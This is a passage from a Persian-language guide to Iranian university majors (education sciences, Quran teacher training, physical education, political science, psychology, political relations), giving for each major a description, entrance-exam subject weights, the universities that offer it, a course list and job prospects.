    فارغ‌التحصیلان دوره‌های کارشناسی تاریخ توانائی آن را خواهند یافت که در سازمانهای دولتی و غیر دولتی از قبیل وزارت آموزش و پرورش، وزارت امور خارجه، وزارت علوم، تحقیقات و فناوری، وزارت فرهنگ و ارشاد اسلامی، موزه‌ها، مراکز اسناد ملی، صدا و سیما، مراکز نگهداری آرشیو‌های دولتی در کلیه وزارتخانه‌ها و مؤسسات دولتی، روزنامه‌ها و مجلات و مراکز چاپ و نشر کتاب و مانند آن به انجام تحقیقات تاریخی در حد تحقیقات بین‌المللی و تدریس تاریخ در مراکز آموزشی بپردازند.

  9. اگر می‌خواهید این رشته را به اختیار خود انتخاب کنید بهتر است که از خصلت‌های ذاتی اصلاح طلبی و روحیه رحمت و رافت خواهی، بهره‌مند باشید. داشتن صبر و حوصله هم خیلی به درد شما می‌خورد.جاذبه‌های مخرب دنیای صنعتی امروز در کنار همه خوبی‌هایش دسترسی آسان افراد برای ارتباط با یکدیگر رشد سریع علوم و تخصص‌ها و اثرات آن بر روح و روان انسان، متخصصان را بر آن داشته که رشته‌ای را در دانشگاه دائر نمایند که بتواند به راهنمائی و ارتقاء فرهنگ روح انسان کمک می‌کند تا انسان حدود حرکات و ارتباطات خود را به نحو شایسته‌ای متعادل نماید.
    ضریب دروس تاریخ و جغرافی ۳ و ادبیات ، روان‌شناسی ، فلسفه و منطق ۲ و مابقی دروس ۱ می‌باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آشتیان *
    ۲ آزاد- بجنورد *
    ۳ آزاد- بیرجند *
    ۴ آزاد- تبریز *
    ۵ آزاد- تهران *
    ۶ آزاد- تهران جنوب *
    ۷ آزاد- خرم آباد * ‌
    ۸ آزاد- دزفول *
    ۹ آزاد- رودهن *
    ۱۰ آزاد- ساری *
    ۱۱ آزاد- ساوه *
    ۱۲ آزاد- سبزوار *
    ۱۳ آزاد- سپیدان *
    ۱۴ آزاد- شهرکرد *
    ۱۵ آزاد- گچساران ‌*
    ۱۶ آزاد- گرمسار *
    ۱۷ آزاد- محلات ‌*
    ۱۸ آزاد- مرودشت * ‌
    ۱۹ آزاد- میمه * ‌
    ۲۰ آزاد- کرمانشاه * ‌
    ۲۱ آزاد-اراک * ‌
    ۲۲ آزاد-بوشهر * ‌
    ۲۳ آزاد-تاکستان * ‌
    ۲۴ آزاد-خوراسگان *
    ۲۵ آزاد-همدان * ‌
    ۲۶ اراک * ‌
    ۲۷ ارومیه * ‌
    ۲۸ اصفهان ‌* ‌
    ۲۹ الزهرا تهران * ‌
    ۳۰ بابلسر * ‌
    ۳۱ بوعلی سینا همدان * ‌
    ۳۲ بیرحند * ‌
    ۳۳ تبریز *
    ۳۴ تربیت معلم تهران *
    ۳۵ تربیت معلم سبزوار * ‌
    ۳۶ تهران *
    ۳۷ خرم آباد *
    ۳۸ خوارزمی *
    ۳۹ رازی کرمانشاه *
    ۴۰ زاهدان * ‌
    ۴۱ سنندج *
    ۴۲ شاهد تهران * ‌
    ۴۳ شهید بهشتی *
    ۴۴ شهیدچمران اهواز *
    ۴۵ شیراز *
    ۴۶ صنعتی اصفهان *
    ۴۷ علامه طباطبائی *
    ۴۸ گیلان *
    ۴۹ کاشان *
    ۵۰ یزد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با فعالیت های تربیتی- اجتماعی ۲ آشنایی با مفاهیم و روش تدریس ریاضیات
    ۳ آشنایی با کتابخانه و اصول کتابداری ۴ آموزش هنر
    ۵ آموزش و پرورش ابتدایی- راهنمایی- متوسطه ۶ آموزش و پرورش تطبیقی
    ۷ آموزش و پرورش کودکان استثنائی ۸ ادبیات کودکان
    ۹ اصول بهداشت و کمک های اولیه ۱۰ اصول و مبانی آموزش و پرورش
    ۱۱ اقتصاد آموزش و پرورش ۱۲ بهداشت و تغذیه مادر و کودک
    ۱۳ تاریخ آموزش و پرورش اسلام و ایران ۱۴ تفاوت های فردی کودکان
    ۱۵ تهیه و کاربرد و مسائل آموزشی ۱۶ جامعه شناسی آموزش و پرورش
    ۱۷ جامعه شناسی عمومی ۱۸ حرکات ورزشی و سرودهای خاص کودکان
    ۱۹ روان شناسی آموزش خواندن ۲۰ روان شناسی تربیتی
    ۲۱ روان شناسی رشد ۱ ۲۲ روان شناسی رشد ۲
    ۲۳ روان شناسی عمومی (جهانگردی) ۲۴ روانشناسی بازی
    ۲۵ روش تدریس علوم اجتماعی و تجربی ۲۶ روش ها و فنون تدریس
    ۲۷ روش های آماری در علوم تربیتی ۲۸ زبان آموزی
    ۲۹ سنجش و اندازه گیری در علوم تربیتی ۳۰ فلسفه آموزش و پرورش
    ۳۱ قصه گویی و نمایش خلاق ۳۲ مدیریت مراکز پیش دبستانی و دبستانی
    ۳۳ مشاوره کودک ۳۴ مقادمات مشاوره و راهنمایی
    ۳۵ مقدمات برنامه ریزی آموزش و درس ۳۶ مقدمات تکنولوژی آموزشی
    ۳۷ مقدمات روش تحقیق در علوم تربیتی ۳۸ مقدمات مدیریت آموزشی
    ۳۹ ورزش و بازیهای دبستانی ۴۰ کار و آشنایی با طبیعت و زندگی اجتماعی
    ۴۱ کاردستی و مهارت های فنی ۴۲ کارورزی ۱
    ۴۳ کارورزی ۲ ۴۴ کارورزی ۳
    ۴۵ کارورزی ۴ ۴۶ کلیات اقتصاد
    ۴۷ کلیات فلسفه

    صنعت و بازارکار
    گرچه در کشور ما دانشجویان علوم انسانی از نظر اشتغال دچار مشکلات زیادی هستند اما با گذشت زمان و ایجاد حساسیت هایی که از طرف رسانه ها و خانواده ها صورت گرفته جهت گیری کلی کشور به سمتی است که دانشجویان رشته هایی مانند علوم تربیتی بتوانند در خصوص اشتغال خود در مراکزی فراتر از مدارس آموزش و پرورش ، مشغول به کار شوند.
    مراکزی همچون فرهنگسراها ، سازمان بهزیستی ، سازمان زندان ها ، کانون های اصلاح و تربیت ، مراکز مشاوره خصوصی ، محل اشتغال این فارغ التحصیلان می تواند باشد.

  10. معلم تربیت قرآن
    ما بسیار خوشحالیم که تربیت دبیر قرآن به عنوان یک رشته دانشگاهی مورد توجه قرار گرفته و توانسته رنگ و بوی اصلی خود را که از قران گرفته در قالبی آکادمیک به علاقمندان خود عرضه نماید به هر حال آنچه برای هر معلمی واجب است عمل به دانسته های خود اوست و مهمتر از هر معلم، معلم قران است که اگر کوچکترین خطائی از او سر زند ذهن حساس دانش آموزان از قران فرار می کند. متأسفانه خطائی که عموم ما دچار آن هستیم ایجاد یک ذهنیت منفی در مورد تعالیم دینی خودمان است که اینجا جای مطرح کردن آن نیست به هر حال در دانشگاه دروسی که به نحوی به قران مربوط می شود از قبیل اختلاف قرائت- فصاحت و بلاغت، قواعد نحوی و تجویدی و مطالعات در مورد معارف قرانی از ویژگی های این رشته است. این رشته در کشور ما نوپاست و البته علاقمندان خودش را نیز دارد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آباده *
    ۲ آزاد- بم * ‌
    ۳ آزاد- رامهرمز *
    ۴ آزاد- رودهن * *
    ۵ آزاد- ساری *
    ۶ آزاد- شوشتر *
    ۷ آزاد- نی ریز *
    ۸ تبریز ‌ *
    ۹ تربیت معلم تبریز *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با ادیان الهی ۲ آشنایی با کلیات علوم اسلامی (فلسفه و عرفان)
    ۳ آموزش با متون کلاسیک ۱ ۴ آموزش با متون کلاسیک ۲
    ۵ آموزش با متون کلاسیک ۳ ۶ آموزش زبان عربی ۱
    ۷ آموزش زبان عربی ۲ ۸ آیات الاحکام
    ۹ اخلاق اسلامی ۱ ۱۰ اخلاق اسلامی ۲
    ۱۱ اصول و فلسفه آموزش و پرورش ۱۲ اصول و فنون مشاوره و راهنمایی
    ۱۳ بررسی متون قدیمی ترجمه های قرآن ۱۴ تاریخ اسلام ۱
    ۱۵ تاریخ اسلام ۲ ۱۶ تاریخ حدیث
    ۱۷ تاریخ قرآن ۱۸ تاریخ اسلام ۳
    ۱۹ تاریخ تفسیر قرآن ۱ ۲۰ تاریخ تفسیر قرآن ۲
    ۲۱ ترجمه از عربی به فارسی ۲۲ تفسیر قرآن کریم ۱
    ۲۳ تفسیر قرآن کریم ۲ ۲۴ تفسیر قرآن کریم ۳
    ۲۵ تمرین دبیری ۲۶ تولید و کار برد مواد آموزشی
    ۲۷ روان شناسی تربیتی ۲۸ روانشناسی کودکی و نوجوانی
    ۲۹ روشها و فنون تدریس (کلیات) ۳۰ سنجش و اندازه‌گیری
    ۳۱ صرف و نحو عملی (تجزیه و ترکیب) ۳۲ علوم بلاغت ۱
    ۳۳ علوم بلاغت ۲ ۳۴ علوم قرآن ۱
    ۳۵ علوم قرآن ۲ ۳۶ علوم قرآن ۳
    ۳۷ فقه ۱ ۳۸ فقه ۲
    ۳۹ فقه ۳ ۴۰ قرائت و تجوید ۱
    ۴۱ قرائت و تجوید ۲ ۴۲ قرائت و تجوید ۳
    ۴۳ مبانی برنامه‌ریزی آموزش متوسطه ۴۴ مبانی جامعه شناسی
    ۴۵ متن خوانی ۱ ۴۶ متن خوانی ۲
    ۴۷ مدیریت آموزشی ۴۸ مروری بر نهج البلاغه ۱
    ۴۹ مروری بر نهج البلاغه ۲ ۵۰ منطق ۱
    ۵۱ منطق ۲ ۵۲ کلام ۱
    ۵۳ کلام ۲ ۵۴ کلام ۳
    ۵۵ کلام ۴ ۵۶ کلام ۵

    صنعت و بازارکار
    بطور کلی محل کار فارغ التحصیلان این رشته تدریس در آموزش و پرورش می باشد گرچه مهدهای کودک، فرهنگسراها و خانه های فرهنگ نیز جهت این افراد درخواست می دهند.

  11. تربیت بدنی و علوم ورزشی
    رشته تربیت بدنی می‌تواند مورد علاقه برخی دانش‌آموزان که از توانائی جسمانی و سابقه ورزشی خوبی برخورد دارند، واقع شود و می تواند بعنوان یک انتخاب از روی ناچاری قرار گیرد.
    در هر دو صورت جاذبه‌های این رشته به کلاسهای علمی و ظهور آن ها در کلاس بسیار عملیِ آن است
    سلامت بدن و ورزیدگی آن از بسیاری جهات بر روی سلامت روان اثر می گذارد و ظرفیت انجام کار و تولید افراد جامعه را بالا برده و کیفیت زندگی را بهبود می‌بخشد.
    گرچه مسئله اشتغال فارغ‌التحصیلان این رشته آنقدر مهم است که باید از شعار دوری نمائیم ولی ما باید به این فرهنگ برسیم که هر جنب و جوش نامش ورزش نیست و حرکات خودسرانه می تواند به انسان آسیب برساند، گرچه در کوتاه مدت متوجه آسیب نشویم.
    ضریب دروس دبیرستان برای این رشته در اقتصاد، عربی، فارسی ۳ و دروس فلسفه و منطق ۲ می‌باشد ، باقی دروس نیز از ضریب یک برخوردارند.
    به امید موفقیت و سلامتی .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- ایلام *
    ۲ آزاد- تبریز *
    ۳ آزاد- تهران *
    ۴ آزاد- ساری *
    ۵ آزاد- شوشتر *
    ۶ آزاد- مبارکه *
    ۷ آزاد- مشهد *
    ۸ آزاد- ملایر *
    ۹ آزاد- نجف آباد *
    ۱۰ آزاد- کرج * ‌
    ۱۱ آزاد-اراک * *
    ۱۲ آزاد-ارومیه * ‌
    ۱۳ آزاد-بوشهر *
    ۱۴ آزاد-خوراسگان *
    ۱۵ آزاد-زاهدان *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آزمایشگاه ۲ آسیب شناسی ورزشی
    ۳ آشنایی با کامپیوتر ۴ آمادگی جسمانی ۱
    ۵ آمادگی جسمانی ۲ ۶ آناتومی انسانی
    ۷ اخلاق و تربیت اسلامی ۱ و ۲ ۸ اردوهای تربیتی
    ۹ اسکی ۱۰ اصول و فلسفه آموزش و پرورش
    ۱۱ اصول و فنون مشاوره و راهنمایی ۱۲ اصول و مبانی تربیت بدنی
    ۱۳ انقلاب اسلامی و ریشه‌های آن از قرن سیزدهم ۱۴ بدمینتون ۱
    ۱۵ بدمینتونَ ۲ ۱۶ بسکتبال ۱
    ۱۷ بسکتبال ۲ ۱۸ بهداشت و ورزش
    ۱۹ تاریخ اسلام ۲۰ تاریخ تربیت بدنی
    ۲۱ تربیت بدنی ۲ ۲۲ تربیت بدنی تطبیقی
    ۲۳ تربیت بدنی در مدارس ۲۴ تربیت بدنی و ورزش معلولین
    ۲۵ تغذیه و ورزش ۲۶ تمرین دبیری ۱
    ۲۷ تمرین دبیری ۲ ۲۸ تنیس
    ۲۹ تنیس روی میز ۱ ۳۰ تنیس روی میز ۲
    ۳۱ تولید و کاربرد مواد آموزشی ۳۲ حرکات اصلاحی
    ۳۳ حرکت درمانی ۳۴ حرکت شناسی ورزشی
    ۳۵ حقوق ورزشی ۳۶ دو و میدانی ۱
    ۳۷ دو و میدانی ۲ ۳۸ دوچرخه سواری
    ۳۹ رشد و تکامل حرکتی ۴۰ روانشناسی تربیتی
    ۴۱ روانشناسی کودکی و نوجوانی ۴۲ روشها و فنون تدریس
    ۴۳ ریاضیات پایه و مقدمات آمار ۴۴ زبان خارجی ۱
    ۴۵ زبان خارجی ۲ ۴۶ زیست‌شناسی
    ۴۷ ژیمناستیک ۱ ۴۸ ژیمناستیک ۲
    ۴۹ سنجش و اندازه گیری در تربیت بدنی ۵۰ سنجش و اندازه‌گیری
    ۵۱ شطرنج ۵۲ شنا ۱
    ۵۳ شنا ۲ ۵۴ شیرجه
    ۵۵ شی ۵۶ علم تمرین
    ۵۷ فارسی ۱ ۵۸ فارسی ۲
    ۵۹ فوتبال ۱ ۶۰ فوتبال ۲
    ۶۱ فیزیوتراپی ۶۲ فیزیولوژی انسانی
    ۶۳ فیزیولوژی ورزشی ۱ ۶۴ فیزیولوژی ورزشی ۲
    ۶۵ فیزیک ۶۶ مبانی برنامه‌ریزی آموزش متوسطه
    ۶۷ مبانی روانی و اجتماعی تربیت بدنی ۶۸ متون اسلامی
    ۶۹ متون خارجی تخصصی ۷۰ مدیریت آموزشی
    ۷۱ مدیریت سازمانهای ورزشی ۷۲ مدیریت و طرز اجرای مسابقات
    ۷۳ معارف اسلام ۷۴ مقدمات بیومکانیک ورزشی
    ۷۵ نجات غریق ۷۶ هاکی
    ۷۷ هندبال ۱ ۷۸ هندبال ۲
    ۷۹ والیبال ۱ ۸۰ والیبال ۲
    ۸۱ ورزش تخصصی (اجتماعی) ۸۲ ورزش تخصصی (انفرادی)
    ۸۳ ورزشهای بومی و سنتی ۸۴ ورزشهای رزمی
    ۸۵ وزنه برداری ۸۶ یادگیری حرکتی
    ۸۷ کشتی ۱ ۸۸ کشتی ۲
    ۸۹ کمکهای اولیه ۹۰ کوهنوردی

    صنعت و بازارکار
    کسانی که دوره کارشناسی تربیت بدنی و علوم ورزشی را به پایان می رسانند می توانند علاوه بر تدریس دروس تربیت بدنی در مدارس و مراکز آموزشی بکار کارشناسی تربیت بدنی در سازمانهای دولتی ، فدراسیونهای ورزشی و نهادهای انقلابی و همچنین خدمت در مراکز ورزشی و درمانی جانبازان و معلولین بپردازند.

  12. علوم سیاسی
    برای شما دانش آموزان واضح است که سیاست آنقدر وسعت و کارائی پیدا کرده که گاهی از حد و مرز نیز می گذرد و نخود هر آشی می شود رشته علوم سیاسی این وظیفه را به عهده دارد که هر آنچه به علم سیاست در جهان امروز مرتبط می شود را در حد دوره های تعیین شده بیان کند.
    این رشته‌ نیز از رشته‌های مورد توجه و ویژه در بین رشته‌های علوم انسانی است.
    انسان در برخورد با اسم این رشته نگاهش با سرعت به سوی وزارت خارجه و … می‌رود .
    موضوع این رشته مطالعه و تحقیق درباره پدیده‌های سیاسی مثل اشکال مختلف حکومت و دولت است. کشف علل و پدیده‌های سیاسی، نحوه اداری سیاسی جامعه و ایجاد ارتباط محترمانه با کشورهای دنیا در عرصه روابط بین‌المللی می‌باشد.
    دانش‌آموزان ایران در سطح جهان اطلاعات سیاسی بالائی را دارند که متأثر از انقلاب اسلامی است. آشنائی به زبان انگلیسی و یا به عبارتی زبان‌های خارجی و همچنین داشتن اطلاعات خوب در زمینه ‌تاریخ و جغرافی از عوامل توفیق در این رشته است.در کنکور سراسری ، ضریب درس تاریخ و جغرافی برای این رشته ۳ است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آزاد شهر *
    ۲ آزاد- آشتیان *
    ۳ آزاد- اهواز *
    ۴ آزاد- ایلام *
    ۵ آزاد- بافت *
    ۶ آزاد- بجنورد *
    ۷ آزاد- تهران *
    ۸ آزاد- خرم آباد *
    ۹ آزاد- دامغان *
    ۱۰ آزاد- زنجان *
    ۱۱ آزاد- سواد کوه * ‌
    ۱۲ آزاد- شهرضا *
    ۱۳ آزاد- شیراز *
    ۱۴ آزاد- قم *
    ۱۵ آزاد- لامرد *
    ۱۶ آزاد- لبنان *
    ۱۷ آزاد- مشهد *
    ۱۸ آزاد- نوشهر و چالوس *
    ۱۹ آزاد- کرج *
    ۲۰ آزاد-تاکستان *
    ۲۱ امام خمینی قزوین *
    ۲۲ بابلسر * ‌
    ۲۳ تهران *
    ۲۴ رازی کرمانشاه * ‌
    ۲۵ شیراز *
    ۲۶ صنعتی اصفهان *
    ۲۷ علوم و فنون فارابی تهران *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ فارسی ۲ اداره امور دولتی
    ۳ ارتش و سیاست ۴ اسلام و ایران
    ۵ اصول روابط بین الملل (الف و ب) ۶ اعراب و اسراییل و مسئله فلسطین
    ۷ اقتصاد بین‌الملل ۸ اندیشه‌های سیاسی در اسلام و ایران
    ۹ اندیشه‌های سیاسی در شرق باستان ۱۰ اندیشه‌های سیاسی در قرن بیستم
    ۱۱ انقلاب اسلامی ایران ۱۲ انقلاب اسلامی و ریشه‌های آن
    ۱۳ انقلابهای جهان ۱۴ تئوریهای انقلاب
    ۱۵ تاریخ اسلام ۱۶ تاریخ اندیشه‌های سیاسی در غرب
    ۱۷ تاریخ روابط بین اللمل از ۱۸۷۱ تا ۱۹۴۵ ۱۸ تاریخ روابط خارجی ایران از قاجاریه تا ۱۳۲۰
    ۱۹ تحول سیاسی و اجتماعی ایران (از ۱۲۲۸ تا ۱۳۲۰) ۲۰ تحول سیاسی و اجتماعی ایران از (۱۳۲۰ تا ۱۳۵۷)
    ۲۱ تربیت بدنی ۲ ۲۲ تکدرس در اختیار گروه آموزشی دانشکده
    ۲۳ جامعه شناسی سیاسی ۲۴ جغرافیای اقتصادی ایران
    ۲۵ جغرافیای سیاسی (تاکید بر جهان اسلام) ۲۶ جمهوری اسلامی ایران و نهضتهای رهایی بخش
    ۲۷ جنبشهای اسلامی معاصر ۲۸ حقوق اداری (کلیات و ایران)
    ۲۹ حقوق اساسی (کلیات) ۳۰ حقوق اساسی جمهوری اسلامی ایران
    ۳۱ حقوق بین الملل اسلام ۳۲ حقوق بین الملل خصوصی
    ۳۳ حقوق بین الملل عمومی ۳۴ خلیج فارس و مسایل آن
    ۳۵ خوار میانه و سیاست بین الملل ۳۶ دیپلامسی و رفتار سیاسی در اسلام
    ۳۷ روابط خارجی ایران از ۱۳۲۰ تا ۱۳۵۷ ۳۸ روانشناسی اجتماعی
    ۳۹ روش تحقیق در علوم سیاسی (الف – ب) ۴۰ زبان خارجی
    ۴۱ سازمانهای بین اللملی ۴۲ سیاست خارجی جمهوری اسلامی ایران
    ۴۳ سیاست خارجی قدرتهای بزرگ ۴۴ سیاست و حکومت در آفریقا
    ۴۵ سیاست و حکومت در اروپای باختری ۴۶ سیاست و حکومت در اسیای جنوبی
    ۴۷ سیاست و حکومت در امریکای لاتین ۴۸ سیاست و حکومت در ایالات متحده امریکا
    ۴۹ سیاست و حکومت در چین ۵۰ سیاست و حکومت در خاورمیانه
    ۵۱ سیاست و حکومت در شوروی ۵۲ سیر قدرت دریاها
    ۵۳ شناخت ماهیت و عملکرد امپریالیسم ۵۴ فن دیپلماسی و اداب کنسولی
    ۵۵ مالیه عمومی ۵۶ مبانی جامعه شناسی عمومی
    ۵۷ مبانی علم اقتصاد ۵۸ مبانی علم حقوق
    ۵۹ مبانی علم سیاست ۶۰ متون اسلامی (آموزش زبان عربی)
    ۶۱ متون سیاسی به زبان خارجی (الف و ب) ۶۲ مسایل اقتصادی و سیاسی نفت در ایران
    ۶۳ مسایل سیاسی و اقتصادی جهان سوم ۶۴ مسایل سیاسی و اقتصادی و اروپای غربی
    ۶۵ مسایل سیاسی و اقتصادی کشورهای اروپای شرقی ۶۶ مسایل نظامی و استراتژیک معاصر
    ۶۷ مطبوعات سیاسی ایران از انقلاب مشروطیت به بعد ۶۸ معارف اسلامی ۲
    ۶۹ نظام سیاسی و دولت در اسلام ۷۰ نظامهای اقتصادی تطبیقی
    ۷۱ نظامهای سیاسی تطبیقی ۷۲ نوسازی و دگرگونی سیاسی

    صنعت و بازارکار
    دوره کارشناسی علوم سیاسی بر اساس نیازهای جامعه تدوین شده است و فارغ‌التحصیلان این دوره علاوه بر کسب توانائی علمی در تجربه و تحلیل مسائل سیاسی اجتماعی ایران و جهان می‌توانند در وزارتخانه‌ها و مؤسسات و سازمانهای عمومی کشور به ویژه وزارت امور خارجه، وزارت کشور، وزارت آموزش و پرورش و دیگر ارگانهای اجرائی کشور به تحقیق و حل مسائل مربوطه اشتغال ورزند.

  13. روان شناسی
    رشته‌ای کاملاً کاربردی و البته منزوی و متاسفانه به باور بعضی‌ غیر ضروری! زندگی یعنی نحوه درک و فهم ما از محیط و عکس‌العمل و رفتار ما در برابر آن.
    روانشناس به بررسی نحوه ادراک محیط توسط موجود زنده یعنی ما دانش‌آموزان از محیط خود و چگونگی رفتار ما در شرایط خاص می پردازد.گرچه موجود زنده شامل غیر انسان نیز می‌شود ولی هدف اصلی این رشته بررسی وضعیت انسان است.
    شاید باورتان نشود که این رشته می تواند در تبلور خلاقیت‌ها و استعدادهای دانش‌آموزان و در چرخه تولید اقتصادی پدران ما نقشی به مراتب مهم‌تر از رشته‌های تخصصی ایفا کند. اهمیت علم روان شناسی ناشی از همیشگی بودن عملکرد ما انسان هاست. چون ما همیشه نیازمند آن هستیم که افکار و تحلیل ها و رفتارهای خود و دیگران را بشناسیم و برای بهتر شدن و اصلاح امور حرکت کنیم .
    ضریب دروس تاریخ و جغرافی ۳ و روان‌شناسی ، فلسفه ، منطق ، ریاضی ، اقتصاد و فارسی ۲ می‌باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آشتیان *
    ۲ آزاد- اهواز *
    ۳ آزاد- بجنورد *
    ۴ آزاد- بهبها ن *
    ۵ آزاد- تبریز *
    ۶ آزاد- تربت جام *
    ۷ آزاد- تنکابن * ‌
    ۸ آزاد- تهران *
    ۹ آزاد- خلخال *
    ۱۰ آزاد- رودهن * ‌
    ۱۱ آزاد- زرند *
    ۱۲ آزاد- ساری * ‌
    ۱۳ آزاد- ساوه *
    ۱۴ آزاد- سراب *
    ۱۵ آزاد- قم *
    ۱۶ آزاد- مرودشت *
    ۱۷ آزاد- کاشمر ‌ * ‌
    ۱۸ آزاد- کرج *
    ۱۹ آزاد-ابهر *
    ۲۰ آزاد-اراک *
    ۲۱ آزاد-اردبیل *
    ۲۲ آزاد-بروجرد * ‌
    ۲۳ آزاد-خوراسگان *
    ۲۴ آزاد-نایین *
    ۲۵ اصفهان * ‌
    ۲۶ الزهرا تهران *
    ۲۷ تبریز * ‌
    ۲۸ تربیت معلم تهران * ‌
    ۲۹ تهران *
    ۳۰ خوارزمی *
    ۳۱ زاهدان *
    ۳۲ زنجان *
    ۳۳ شاهد تهران *
    ۳۴ شهیدچمران اهواز *
    ۳۵ شیراز *
    ۳۶ صنعتی اصفهان *
    ۳۷ علامه طباطبائی *
    ۳۸ فردوسی مشهد *
    ۳۹ محقق اردبیلی اردبیل *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آسیب شناسی اجتماعی ۲ آسیب شناسی روانی ۱
    ۳ آسیب شناسی روانی ۲ ۴ آمار استنباطی
    ۵ آمار توصیفی ۶ احساس و ادراک
    ۷ اختلالات یادگیری ۸ اصول روانشناسی بالینی
    ۹ اعتیاد سبب شناسی و درمان آن ۱۰ انسان شناسی در اسلام
    ۱۱ انگیزش و هیجان ۱۲ بررسی مقدماتی نظریه‌های روان درمانی
    ۱۳ بهداشت روانی ۱۴ پایان‌نامه
    ۱۵ پژوهش عملی ۱ ۱۶ پژوهش عملی ۲
    ۱۷ پسیکوفیزیولوژی و نوروپسیکولوژی ۱۸ تاریخچه و مکاتب
    ۱۹ تفکر و زبان ۲۰ روان شناسی آزمایشگاهی
    ۲۱ روان شناسی اجتماعی ۲۲ روان شناسی احساس و ادراک
    ۲۳ روان شناسی از دیدگاه اسلام ۲۴ روان شناسی بالینی کودک
    ۲۵ روان شناسی تبلیغات و ارتباط ۲۶ روان شناسی یادگیری ۱
    ۲۷ روان شناسی یادگیری ۲ ۲۸ روان شناسی کودکان استثنایی
    ۲۹ روانسنجی ۳۰ روانشناسی اجتماعی
    ۳۱ روانشناسی اجتماعی پیشرفته ۳۲ روانشناسی بالینی به زبان خارجی ۲
    ۳۳ روانشناسی پویایی گروه ۳۴ روانشناسی تجربی
    ۳۵ روانشناسی تربیتی ۳۶ روانشناسی تفاوتهای فردی
    ۳۷ روانشناسی جنایی ۳۸ روانشناسی رشد ۱
    ۳۹ روانشناسی رشد ۲ ۴۰ روانشناسی رشد پیشرفته
    ۴۱ روانشناسی صنعتی و سازمانی ۴۲ روانشناسی عمومی ۱
    ۴۳ روانشناسی عمومی ۲ ۴۴ روانشناسی عمومی پیشرفته
    ۴۵ روانشناسی فیزیولوژیک ۴۶ روانشناسی مرضی کودک
    ۴۷ روانشناسی یادگیری ۴۸ روانشناسی یادگیری و تفکر
    ۴۹ روانشناسی کودکان استثنایی ۵۰ روش تحقیق
    ۵۱ روش تحقیق در روان شناسی ۵۲ روشهای آماری پیشرفته
    ۵۳ زیست شناسی ۵۴ زیست شناسی عمومی
    ۵۵ سمینار مسائل روان شناسی بالینی ۵۶ شخصیت ۱
    ۵۷ شخصیت ۲ ۵۸ شخصیت نظریه‌ها و مفاهیم
    ۵۹ علم النفس از دیدگاه دانشمندان ۶۰ فیزیولوژی عمومی
    ۶۱ مباحث جدید در اسب شناسی روانی ۶۲ مبانی جامعه شناسی
    ۶۳ متون روانشناسی به زبان انگلیسی ۶۴ متون روانشناسی به زبان خارجه
    ۶۵ مددکاری اجتماعی ۶۶ مشاوره و راهنمایی
    ۶۷ مقدمات ریاضی ۶۸ نظریه‌های شخصیت
    ۶۹ کار برد کامپیوتر د تجزیه و تحلیل ۷۰ کاربرد روشهای مقدماتی تشخیص
    ۷۱ کاربرد مقدماتی روشهای درمان ۷۲ کاربرد کامپیوتر و تحلیل ارمانی
    ۷۳ کلیات فلسفه

    صنعت و بازارکار
    دانشجویان فارغ التحصیل رشته کارشناسی روانشناسی جهت تدریس در مدارس یا فعالیت در مراکز مشاوره و مراکز فرهنگی بخش ها و ادارات مختلف می توانند مشغول کار شوند به مرور زمان مسیر اشتغال به کار کسانی که روان شناسی خوانده اند بهتر شده است .
    دانشجویان فعال در این رشته و کسانی که ادامه به تحصیل می دهند می توانند در بخش های مختلف وزارتخانه ها، خانه های فرهنگ، مدارس غیرانتفاعی، مراکز مطالعات خانواده ، مراکز خیریه مشغول کار شوند.

  14. روابط سیاسی
    دوره کارشناسی روابط سیاسی (دیپلماتیک ) یکی از برنامه های علمی و آموزش عالی است که پس ازپیروزی انقلاب اسلامی در ایران با اهداف مشروحه زیر تهیه و تدوین گردیده است .
    الف : تربیت کادر سیاسی متخصص و متعهد به مکتب والای اسلام برای انجام وظیفه در سازمان مرکزی امور خارجه و یا نمایند گیهای جمهوری اسلامی ایران در خارج از کشور و دیگر نهادهای بین المللی .
    ب : تهیه متون تحقیقاتی و اطلاعاتی در زمینه تحولات سیاسی جهان و روابط بین الملل .
    ج : تغذیه وزارت امور خارجه و نهادهای تابعه با فرهنگ و سیاست خارجی جوامع مختلف بین المللی .
    ضرورت و اهمیت :
    وزارت امور خارجه بعنوان نهاد مسئول اجرای سیاست خارجی و دفاع از منافع دولت جمهوری اسلامی ایران در مجامع بین المللی و دفاع از حقوق ایرانیان در خارج از کشور نیازمند به استفاده از تخصص و تعهد افرادی است که شایسته تحقق بخشیدن به این وظیفه سنگین و خطیر می باشند. بدیهی است تا مین چنین مقصودی بویژه با تحول عظیمی که در جامعه ایران با پیروزی انقلاب اسلامی بوجود آمده مستلزم تربیت اعضاء و کادر متناسب با این اهداف است .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آزاد شهر *
    ۲ آزاد- بافت *
    ۳ آزاد- تهران مرکزی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ استعمار و امپریالیسم ۲ اصول روابط بین الملل
    ۳ اقتصاد بین‌الملل ۴ امینیت ملی و سازمانهای اطلاعاتی
    ۵ اندیشه های سیاسی در جهان اسلام ۶ بررسی تطبیقی انقلابهای جهان
    ۷ بررسی جنبشها و نهضتهای سیاسی ۸ تأسیسات الکتریکی
    ۹ تاثیر انقلاب اسلامی در خاورمیانه ۱۰ تاریخ تحولات سیاسی و اجتماعی صد ساله اخیر
    ۱۱ تاریخ تحولات سیاسی و اجتماعی صد ساله ۱۲ تاریخ دیپلماسی عمومی از صلح وستفالی
    ۱۳ تاریخ روابط بین الملل از ۱۹۱۴ تا امروز ۱۴ تاریخ عقاید سیاسی در شرق
    ۱۵ تاریخ عقاید سیاسی در غرب ۱ ۱۶ تاریخ عقاید سیاسی در غرب ۲
